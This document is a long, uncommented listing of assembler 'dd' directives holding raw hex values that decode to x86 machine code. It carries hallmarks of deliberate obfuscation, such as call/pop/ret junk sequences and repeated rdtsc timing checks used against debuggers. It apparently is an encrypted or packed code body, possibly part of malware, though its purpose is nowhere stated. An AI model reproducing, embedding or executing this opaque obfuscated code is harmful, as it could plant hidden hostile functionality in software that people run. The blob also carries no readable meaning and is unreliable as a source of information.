dd 0FC90A06h, 14484h, 0D9858900h, 8B061F09h, 1F0DC185h
dd 0FEBF0F06h, 2EC98533h, 0BD8B061Fh, 61F1F8Dh, 8E850h
dd 0D73F0000h, 0FD411276h, 8E0FA6FBh, 0
dd 2404895Bh, 6A006AF9h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1D042444h, 42000000h, 4C8EC352h, 0F03AFCFFh
dd 0B2CCA95Bh, 0CBBC40BBh, 4E851h, 3FF0000h, 0A3BB001Fh
dd 50411A73h, 75C892BBh, 24448B39h, 9286BF04h, 8B7332h
dd 0B3505250h, 310F5B4Ch, 585ADA8Bh, 4244489h, 52505050h
dd 585A310Fh, 66585F5Fh, 85DBEB81h, 2DE195FFh, 6A061Fh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
dd 89CA79C3h, 1F11B1B5h, 55858906h, 6A0622B2h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 29D1C356h, 4D6B3A19h, 13E8E9h, 55230000h, 585DAA84h
dd 8C4EE81Bh, 0C3CC8826h, 0CFC89E1Dh, 0F19D8BAAh, 5F061F1Ah
dd 1EEE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0D4C335A7h, 15D5E389h, 960557Dh
dd 1F2B7D8Dh, 0B70F6106h, 4D858BFFh, 90622B2h, 1F158585h
dd 0C7FC06h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0DBC35646h, 34E09C52h, 0C918BC96h, 0F9056BBFh
dd 0C1BD8921h, 8B061F0Bh, 22B251B5h, 0A19D0306h, 8B061F18h
dd 1F13A185h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1B04h, 0C3504000h, 0CC421558h, 0EEB8ED3Dh, 0B5890689h
dd 61F1AC9h, 0DC1858Bh, 6A061Fh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 0B9B32AC3h, 48E18992h
dd 35952909h, 89061F1Fh, 0BF660446h, 8B96D254h, 319650F8h
dd 1F2A71B5h, 6820F06h, 23000000h, 1F3159BDh, 4DB5FF06h
dd 890622B2h, 1F1A7D8Dh, 4E806h, 3FF0000h, 5250001Fh, 870F60h
dd 0F000000h, 82h, 310F6100h, 61605250h, 0DA8A310Fh, 585A585Ah
dd 0BE850h, 2E640000h, 25B92CC4h, 36A8FB0Fh, 3B77BF75h
dd 8B5B1B8Dh, 60042444h, 0B2EC28BFh, 61B7B476h, 14E9008Bh
dd 0D6000000h, 1F6F264Dh, 0E727028Fh, 866EEEC8h, 1ECCB5ECh
dd 8927CF5Bh, 0B3042444h, 8E95812h, 24000000h, 84D0225Dh
dd 8D3A1D47h, 22B25585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 0E14682C6h, 1C0E51EFh
dd 5840FADh, 66000000h, 1418F381h, 1DBFBF66h, 6A905090h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 8CEFC350h, 0C9040411h, 0FFAE13ABh, 1F2DE195h
dd 0E1BD8B06h, 61061F00h, 0B759D2Bh, 85C7061Fh, 61F137Dh
dd 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch
dd 2EC35141h, 22CD0322h, 0B578AB60h, 0A4DBD8Bh, 0E952061Fh
dd 14h, 6739D1DEh, 0DB30AD4Dh, 0B45155DEh, 22B52220h, 4CF594F8h
dd 55BD835Fh, 622B2h, 0E840Fh, 0BD8B0000h, 61F1485h, 1EE9h
dd 0DEB70F00h, 110C3050h, 1114400h, 3010E8C1h, 21144h
dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 51C08B00h, 11999D8Bh, 6A5F061Fh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 4A4DC355h, 83D362A1h, 1F137DBDh, 850F0306h, 3BCh, 55BD83FCh
dd 622B2h, 3AE840Fh, 13E90000h, 46000000h, 506D9C35h, 94BF216h
dd 5399CE1Eh, 0FD3F598Dh, 0B5FFB619h, 622B255h, 0C995FFFCh
dd 6A061F1Bh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 17042444h, 40000000h, 0DFFC350h, 0BB66859Ch, 0B58B61E3h
dd 622B249h, 799D8Bh, 6C7061Fh, 10001h, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 19h, 8EC35040h, 9789F0F8h
dd 890FEBh, 50000000h, 3489D98Bh, 55B5FF24h, 6A0622B2h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 6335C352h, 8E960h, 63DB0000h, 8FBC7BF9h
dd 0B58B0959h, 61F1541h, 2195FF61h, 6A061F16h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 4C82C352h, 0B58BFCB3h, 622B249h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 45C35141h, 0F1D1066Bh, 13E9BEh
dd 7D1C0000h, 1ADB6C56h, 0CCCA28B1h, 96AE1985h, 13181606h
dd 0DE9E5h, 95B20000h, 89CD4885h, 0F4CAA0AAh, 8B719F7Ah
dd 1F2FF185h, 0B59D8B06h, 89061F13h, 0C486h, 5D958B00h
dd 6A061F0Bh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 0C16FC356h, 4C28341h, 2FF38166h
dd 20508950h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0ABC35242h, 75EDBB0h, 1F0C877Eh, 46C1D781h, 858D5813h
dd 622C797h, 14E9h, 6D601400h, 0B94136CCh, 391C3A0h, 0EDE555CAh
dd 0DFA4D4F0h, 29B589D0h, 89061F03h, 0B886h, 4D9D8B00h
dd 6A061F1Ch, 55B5FF00h, 600622B2h, 81D2BF0Fh, 303FAAD3h
dd 95FF6123h, 61F2F55h, 19958960h, 8B061F2Dh, 1F13DD9Dh
dd 0F506106h, 3286h, 12E800h, 11680000h, 36EC5948h, 0F75116A1h
dd 0D6963EDCh, 0C6B190A6h, 14E8h, 24D6B400h, 0B28B8556h
dd 6EEF3886h, 0A9D1EEF5h, 0BFA1F12Ah, 895B5F03h, 6A2434h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
dd 0C15ACAC3h, 2582DF06h, 0EB8121DAh, 616C254Eh, 0B255B5FFh
dd 0BB660622h, 8B604D1Bh, 1F2BB985h, 0FF14B806h, 0FF6114CDh
dd 1F0E1D95h, 34C8BF06h, 0BD836AF8h, 61F2C0Dh, 39840F00h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0D3AFC351h, 89CC5898h, 1F139DB5h
dd 66565006h, 5B81CFBFh, 0F243489h, 386h, 0D9BF0F00h, 0B255B5FFh
dd 0F98A0622h, 30218D31h, 95FF061Fh, 61F1349h, 0F2F6C381h
dd 0B5FF6D7Eh, 622B255h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 91C35343h, 48B0A214h, 577C0B8Eh, 107595FFh
dd 0BD8B061Fh, 61F0BC1h, 49BD8960h, 80061F0Eh, 836163F0h
dd 1F0009BDh, 840F0206h, 53h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 0C1C35040h, 85896011h, 61F2AE1h
dd 13C98D8Bh, 8B61061Fh, 1F175185h, 8B666006h, 6860FCFh
dd 3000000h, 1F0ABDB5h, 81566106h, 324754D7h, 0C65F67h
dd 99D8B00h, 0C7061F21h, 1F129185h, 6, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 42A2FE4Ah, 0FB8B66A3h, 0FFF382E9h, 0ED8589FFh, 8B061F19h
dd 7D9D01C1h, 0BB061F2Bh, 3FF20AD0h, 19BD858Dh, 0BF0F061Fh
dd 0E890F8FEh, 0Ch, 782B3EEBh, 0C7421E35h, 0FE49B0A9h
dd 505BB2B3h, 6A90ACB7h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0EFCCC357h, 0B4C04852h
dd 0FE70F41h, 9589DFB7h, 61F2CEDh, 8E9006Ah, 3A000000h
dd 71108F1Dh, 9F12BFDh
dd 1F2BFD85h, 6A006A06h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 738DC356h, 0AE9h, 43376400h
dd 0A6138369h, 8D14BD4Bh, 23DD7085h, 0DFB70F06h, 6A05C083h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 7FE1C355h, 0C25946AAh, 90D62F36h, 0D88B5250h
dd 5060310Fh, 5A310F52h, 0D18B6658h, 50585A61h, 11E8h
dd 9DF54700h, 9B7EB3A1h, 146F55F4h, 73535750h, 0FE9AB9Bh
dd 24000000h, 7B447DAAh, 0E9FFDFD9h, 0D8ED5DB1h, 905FA43Ah
dd 2800Fh, 0DDB30000h, 0DB816660h, 61FCC751h, 6A006Ah
dd 6800Fh, 95890000h, 61F0E75h, 16195FFh, 6A061Fh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0B593D2C3h, 8D8D4AB3h, 622B1F2h, 16BD8531h, 0D1FF061Fh
dd 13E8h, 2576E000h, 0E5992836h, 4E19E5F9h, 0C68E1DB3h
dd 9D1B4B94h, 2D559589h, 835F061Fh, 1F0EF5BDh, 850F0106h
dd 88h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
dd 0F2C35141h, 0F7E1BEC0h, 0DD8589ECh, 0E9061F0Ch, 11h
dd 4F6C2A72h, 398E86F0h, 23C802F6h, 0A34B7C7Fh, 60026A06h
dd 2840Fh, 59500000h, 5870Fh, 81660000h, 61EB81E7h, 10E850h
dd 40C20000h, 0A30A5F1Ch, 468D6EF7h, 5A64023Ah, 6E9D09Bh
dd 0C5000000h, 0EBF3F5A5h, 4895B0Ah, 0ED953124h, 0FF061F2Ch
dd 1F2F5595h, 0D8B70F06h, 0D37E9h, 0E800h, 815D0000h, 23DD7AEDh
dd 0F3816606h, 880FFD6Eh, 6, 0A4D9D8Bh, 858D061Fh, 6228EE4h
dd 8BFAB70Fh, 1F18C59Dh, 8B669006h, 0FE950F9h, 6C000000h
dd 0BAACAECFh, 804892FEh, 65C51CDh, 6A90CC0Ch, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 3488C356h, 0EB8166FEh, 0FF64821Dh, 35h, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 3297CAD5h, 0E9DD6A8Ch, 0DE8A7h, 7B410000h, 9E956524h
dd 7218BFF0h, 8BCB185Eh, 1F1DB9BDh, 81665B06h, 64E64BDFh
dd 2589h, 0D7810000h, 17021F33h, 102985FFh, 0BD8B061Fh
dd 61F31C9h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 160424h, 56460000h, 0D028A7C3h, 1890Fh, 66F90000h, 86B1E781h
dd 105DB5FFh, 8160061Fh, 912DE2EFh, 0FBBF0F3Ah, 0ED95FF61h
dd 0E9061F1Ch, 109h, 0CC9B529h, 0B0061Fh, 0BEC070BFh, 5170E674h
dd 18A5BD03h, 805B061Fh, 71E4ADCFh, 613CF1B7h, 0E3830Fh
dd 31560000h, 1F2C9995h, 0B60F5F06h, 7BBF66C8h, 6BA2Dh
dd 0BD890000h, 61F2C21h, 9E9C18Bh, 46000000h, 541493A3h
dd 5C85619Eh, 6004E8C1h, 0D0DC7BB9h, 0CE83Ah, 27E50000h
dd 489E9DC0h, 6CBA4ABCh, 8E924BFh, 45000000h, 21B7AB8Dh
dd 589BC47Bh, 0E2F76661h, 12958589h, 0C82B061Fh, 0B3F38166h
dd 0FD18B56h, 388h, 0FBD38000h, 70E9h, 95295600h, 61F175Dh
dd 219D0B5Bh, 8B061F30h, 485h, 8D9D0B00h, 83061F12h, 0BF6607C0h
dd 0C0833D01h, 0C7816600h, 0D03B5843h, 8830Fh, 41B30000h
dd 38E9h, 8D8BF500h, 0FFFFFFFFh, 85896057h, 61F19A1h, 0E1835B61h
dd 1E840F01h, 83000000h, 0FFFFFFA5h, 9D8BFEFFh, 61F2669h
dd 49589h, 870F0000h, 0
dd 0E9h, 0B9B58D00h, 0E806235Dh, 0Ah, 4CD059Bh, 0EA781AB0h
dd 0DF8BE360h, 6A006A5Bh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 7B86C355h, 0D068FE3h
dd 0AF47B6BDh, 1D4595FFh, 9E9061Fh, 51000000h, 31AA7065h
dd 0B36461EFh, 100BB9h, 59B58900h, 83061F11h, 9531FCE1h
dd 61F0891h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0D2EAB2E7h, 0C02BD4E3h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 34C35141h, 0BA25DA21h
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C3C35141h
dd 8DB49C66h, 0FDD8B6A4h, 4E381CCh, 0E843E6D4h, 0Ah, 9E64818h
dd 0F717BCA3h, 0BD8B6052h, 61F057Dh, 0C233AD5Fh, 0D003E8D1h
dd 7504E983h, 0DBB70FF4h, 13B59529h, 880D061Fh, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 52B1C351h, 5061236Ah, 8B3A6EDAh, 1F10E5BDh
dd 41BD8906h, 8B061F12h, 1F0B5D95h, 0DE8B6606h, 20C58D8Bh
dd 0B529061Fh, 61F1AADh, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 9E95818h, 0A7000000h, 4E783EE6h, 2F81ED1Ch
dd 0E0DC08BBh, 8DBD8357h, 61F07h, 41840Fh, 0BD0B0000h
dd 61F2089h, 0B8h, 8D8DF900h, 61F4DB0h, 0A7DBD8Bh, 0E1FF061Fh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0AC35343h
dd 89FB8351h, 1F0A55B5h, 83D88B06h, 1F137DBDh, 840F0006h
dd 408h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 73C35242h, 419D8BEDh, 83061F0Ah, 1F137DBDh, 840F0106h
dd 3F3h, 19F59D8Bh, 0BD83061Fh, 61F137Dh, 0AA860F03h, 6A000003h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 72AFC351h, 0F560E4B7h, 6AD98C66h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
dd 9B96C353h, 0CB2411ACh, 0F60AF8D8h, 0C8F0Fh, 8E0F0000h
dd 6, 798D29h, 0B5B7061Fh, 6A04E180h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F70FC353h
dd 10E9h, 8279D00h, 0DB339AE4h, 5D5E71F3h, 9A85AF64h, 0FC90A6Ah
dd 10784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 8B0F04CDh, 6, 23C9B589h, 858B061Fh
dd 61F0DC1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 15h, 11C35242h, 9DBD2321h, 8B061F2Ch, 1F23F1BDh, 0C9853306h
dd 8B061F2Eh, 1F080DBDh, 56505006h, 9E8h, 0CF257900h, 7C29041h
dd 5F5B0812h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 91C35646h, 28B5B065h, 281AC02Eh, 5DBD8BEDh
dd 6A061F14h, 0DEB70F00h, 9A643CBBh, 64986842h, 8B6657E3h
dd 243481DAh, 57FC6767h, 23D48A60h, 1F165195h, 95FF6106h
dd 61F2DE1h, 0B2558589h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 348DC4C3h, 0F8D7FF2Dh
dd 8BDBBF0Fh, 1ACE9F8h, 85890000h, 61F155Dh, 0B24D858Bh
dd 6A0622h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
dd 50400000h, 0DDFD9BC3h, 0BD9CA592h, 8B6052CFh, 1F12B995h
dd 0C75F6106h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 74C3153Bh, 7C052862h
dd 0CAD38189h, 0F66F8BCh, 0B58BDEB7h, 622B251h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EC35747h, 79EDA472h
dd 8B23846Ch, 1F13A185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 6A068970h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0F29EC356h
dd 27A3FA43h, 858BA77Eh, 61F0DC1h, 77D78166h, 446890Eh
dd 9E9h, 4B492700h, 400CDABEh, 50965E86h, 0A59D8B96h, 0FF061F07h
dd 22B24DB5h, 13E906h, 6100000h, 1EBF4678h, 268BC9A4h
dd 3ED15D0Dh, 4FA404B1h, 0E97F6818h, 8D0FE1F4h, 5, 0F88B6657h
dd 2404815Fh, 1E2A1A80h, 0B255858Dh, 6A0622h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 60A4C7C3h
dd 0BF13FE9Dh, 3E74D648h, 1FAD9D8Bh, 0E890061Fh, 6, 0B6EAFEC2h
dd 0F6086D6h, 8Eh, 505F6100h, 18830Fh, 13E90000h, 7D000000h
dd 5A66D900h, 451232F5h, 98F245A6h, 0E6C3BF61h, 0F5908DC2h
dd 2DE195FFh, 3350061Fh, 1F134DBDh, 6A615F06h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0DE54C355h, 8AFA7D98h, 7D85C7DCh, 3061F13h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0FE7C355h, 55BD83ADh, 622B2h, 0B840Fh, 21E90000h
dd 3000000h, 1F3055BDh, 0C305006h, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ch, 13C35141h, 0EF2F45D5h, 0CDEE79FFh, 2D5DBD8Bh
dd 0BD0B061Fh, 61F2005h, 2FD98D29h, 0BD83061Fh, 61F137Dh
dd 84850F03h, 6A000004h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 0AC14C353h, 8E8EEF8h
dd 55000000h, 47740614h, 0FC4740Dh, 288h, 5B1AB700h, 0B255BD83h
dd 0F000622h, 44284h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 8970BFD8h, 1F0601B5h
dd 55B5FF06h, 0F0622B2h, 58Ah, 60BF00h, 95FF6FC6h, 61F1BC9h
dd 71D9D29h, 8B60061Fh, 1F0BD19Dh, 65958B06h, 61061F23h
dd 0B249B58Bh, 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 8B0FCFC3h, 1, 1F8C0FF9h, 0E8000000h
dd 13h, 6CCEBB2Ch, 0DDCCE273h, 48E7A7ABh, 56BB54DFh, 898211E2h
dd 1F0D25B5h, 6C75B06h, 10001h, 12E8h, 23A4600h, 0D09B5A64h
dd 54794527h, 0D097786Dh, 5B19B5A3h, 0E8525050h, 11h, 0B3EC8497h
dd 382373DBh, 79B713E2h, 2C78BC76h, 5B61600Dh, 5B53310Fh
dd 3489585Ah, 59950924h, 0FF061F0Ch, 22B255B5h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0B5F2368h, 0FFA8B66h, 95FFDAB7h, 61F1621h, 253977BBh
dd 49B58B56h, 6A0622B2h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 55B4C351h, 66626CAFh
dd 81A1D381h, 2FF1858Bh, 8FBB061Fh, 8971A75Bh, 0C486h
dd 118D8900h, 8B061F2Fh, 1F0B5D95h, 8E806h, 9D6D0000h
dd 7F7D67E9h, 0B529CDD6h, 61F20FDh, 4C2835Fh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 75C35141h, 9BBE9AF1h
dd 0BD33E334h, 61F14D5h, 0E8205089h, 8, 7C1DA9EAh, 0F5A5C5E1h
dd 5FDFBF0Fh, 0C797858Dh, 6A0622h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0B19FBAC3h, 0AB30DDBBh
dd 60DE3428h, 10E8h, 31A8EC00h, 0BE54741Dh, 8B59B12Dh
dd 11B58B16h, 45858BF3h, 5F061F02h, 35BD8B61h, 89061F20h
dd 0B886h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 0F50B0D3Ch, 73B32479h
dd 5E97Bh, 0C9650000h, 6A60886Ah, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1604h, 0C3514100h, 899815CEh
dd 1F2E219Dh, 0DFBF0F06h, 0B255B5FFh, 6A0622h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 9474DDC3h, 0CDF0DC11h, 11950141h, 0FF061F02h, 1F2F5595h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 602105F7h, 0C18134B7h, 0B448D21h, 0BE95061h
dd 92000000h, 0BEFC63F0h, 0AC023205h, 3489684Eh, 55006A24h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 8E93369h, 0CE000000h, 0BD00F74h, 0FF8E4D4Eh, 22B255B5h
dd 8B605206h, 1F05899Dh, 0FF5B6106h, 1F0E1D95h, 69BD8B06h
dd 83061F2Ch, 1F2C0DBDh, 840F0006h, 1Eh, 8E0F8BB3h, 5
dd 25C38166h, 0FA8B9692h, 5850F50h, 0BB000000h, 1514941h
dd 0B5FFF996h, 622B255h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 1CC35040h, 3144034Bh, 830F60E1h, 0Ch
dd 68C0Fh, 0B5290000h, 61F18C1h, 134995FFh, 6A061Fh, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 0A395E8C3h, 0C80006E8h, 0B5FF3D31h, 622B255h, 0F21BD31h
dd 95FF061Fh, 61F1075h, 20CD9589h, 0BD83061Fh, 61F0009h
dd 5E840F02h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1C042444h, 47000000h, 0DCBCC357h, 0C28BF5CDh
dd 8B01B400h, 1F175185h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 2DF1FE8Bh, 8BAC15BAh
dd 85893A5Bh, 61F1619h, 890000C6h, 1F059D85h, 9185C706h
dd 61F12h, 89000000h, 1F1701B5h, 49BD8906h, 0E9061F14h
dd 0FFFFF3D4h, 0CAE2BF60h, 36B930C2h, 610FBE19h, 0D7816660h
dd 850F937Eh, 1, 0C18B61FCh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 9BC35747h, 8D891754h, 61F31C1h
dd 19BD858Dh, 6050061Fh, 12E9h, 72117200h, 9554E1DDh, 9BFB40F7h
dd 0FB683753h, 61F74023h, 8B240489h, 1F08B1BDh, 88D38106h
dd 6A10416Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 8B668233h, 0FD8D89FAh, 6A061F08h
dd 0FAB70F00h, 2B29BD8Bh, 858D061Fh, 623EBFFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0C7C35747h, 5EC6BFF8h
dd 0C08309C7h, 0DF8B6605h, 0D98B5090h, 3800F90h, 0F000000h
dd 6AFABFh, 1BB99589h, 6A061Fh, 899D2960h, 0E9061F2Ah
dd 6, 0F10CA10Ch, 0FF61C293h, 1F016195h, 0CDBD2906h, 8D061F12h
dd 22B1F28Dh, 60D1FF06h, 9A3BA66h, 32759D29h, 8361061Fh
dd 1F0EF5BDh, 850F0106h, 6Bh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 0E9C35545h, 31522257h, 1F08019Dh
dd 6AF88B06h, 0EB815702h, 6E5FA1B7h, 489505Bh, 55006A24h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 9B098E16h, 6860FF9h, 8B000000h, 1F1695BDh, 5595FF06h
dd 66061F2Fh, 0E906FEBFh, 0C97h, 0E8h, 0ED815D00h, 623EC09h
dd 7399D8Bh, 11E9061Fh, 0B3000000h, 0BAD2EB9Bh, 5FF4B5A4h
dd 13BC3F92h, 4A9D54A9h, 950929B7h, 61F2F15h, 8EE4858Dh
dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 6650C1C3h, 489FB8Bh, 0FF64F924h, 35h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 14083773h, 0FE8BB20Bh, 258964h, 66000000h, 870FD98Bh
dd 4, 0AD7DBF66h, 102985FFh, 0BB66061Fh, 0FF6AD52Fh, 13E9h
dd 0E747BE00h, 5C5462A8h, 0F51E9EBBh, 9A2E821Eh, 44357E45h
dd 3291B5FFh, 8589061Fh, 61F0825h, 1CED95FFh, 1DE9061Fh
dd 8B000001h, 1F2F959Dh, 8100B006h, 6CBC79D7h, 70E6F961h
dd 2AE5BD29h, 71E4061Fh, 6E9h, 0AE536400h, 3CD79868h, 0F1830F61h
dd 89000000h, 1F065985h, 0A18D3106h, 0F061F31h, 6BAC8B6h
dd 60000000h, 2AE19533h, 0B70F061Fh, 0C18B61F1h, 0EB816651h
dd 0C15F96FEh, 0B70F04E8h, 0E2F766FEh, 3880Fh, 8B660000h
dd 0E9C82BFEh, 0Eh, 6B043E5Ah, 37227A7h, 8F515E1Dh, 0D18B28A4h
dd 2810Fh, 0FA8B0000h, 92E9F8h, 95010000h, 61F0029h, 68E0Fh
dd 8D890000h, 61F3259h, 4C44858Bh, 66F95F4Ch, 0D687F781h
dd 0F07C083h, 68Fh, 1EDB8100h, 831FB402h, 0CB8100C0h, 27CA6C92h
dd 830FD03Bh, 15h, 568B47BBh, 4AE970h, 0E9FC0000h, 5, 70E52673h
dd 0FF8D8B2Ah, 31FFFFFFh, 1F1D4D85h, 1E18306h, 2A840Fh
dd 0BB660000h, 0A583FED2h, 0FFFFFFFFh, 0BD3353FEh, 61F2E31h
dd 4495895Bh, 0F5F4C4Ch, 68Ah, 820F00h, 0E9000000h, 0
dd 6DC4B58Dh, 0BD8B0623h, 61F0739h, 0BD8B006Ah, 61F0211h
dd 1D4595FFh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0B9F8E0C3h, 0DCAh, 11E8h, 0DE684400h
dd 5A0B5CC4h, 8EC80718h, 2A894D8Bh, 0E95F6DD1h, 14h, 0D913ACDDh
dd 4D5EE187h, 0E160F89Eh, 0C768901h, 0B08FBDDCh, 66FCE183h
dd 8BFCFB8Bh, 1F1021BDh, 6AC02B06h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 33E4C355h
dd 1F10719Dh, 52D22B06h, 27499529h, 0AD5B061Fh, 0E8D1C233h
dd 0E983D003h, 6AF47504h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 0FE1C351h, 38Fh, 0FBBF0F00h
dd 880Dh, 0EE900h, 0A0790000h, 0D1423883h, 65F51FB5h, 33D67D9Ch
dd 0B5D958Bh, 0CB81061Fh, 67422780h, 20C58D8Bh, 0BD8B061Fh
dd 61F2439h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 8F0F5818h, 6, 15C59D8Bh, 0DA8B061Fh, 78DBD83h, 0F00061Fh
dd 6E84h, 0FE800h, 2C010000h, 23B06384h, 2D75FE27h, 0BB57C876h
dd 0F98B660Bh, 0B85Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 0CB1988C3h, 19787F3Fh
dd 668FBB1Bh, 0DE9FE8Bh, 0
dd 3317E81Ah, 0B32B27C6h, 0DEB536E8h, 4DB08D8Dh, 0BF66061Fh
dd 8589A381h, 61F07F9h, 0D5BFE1FFh, 832EFAC5h, 1F137DBDh
dd 840F0006h, 468h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ch, 0AC35646h, 0F80EB566h, 4D394770h, 137DBD83h
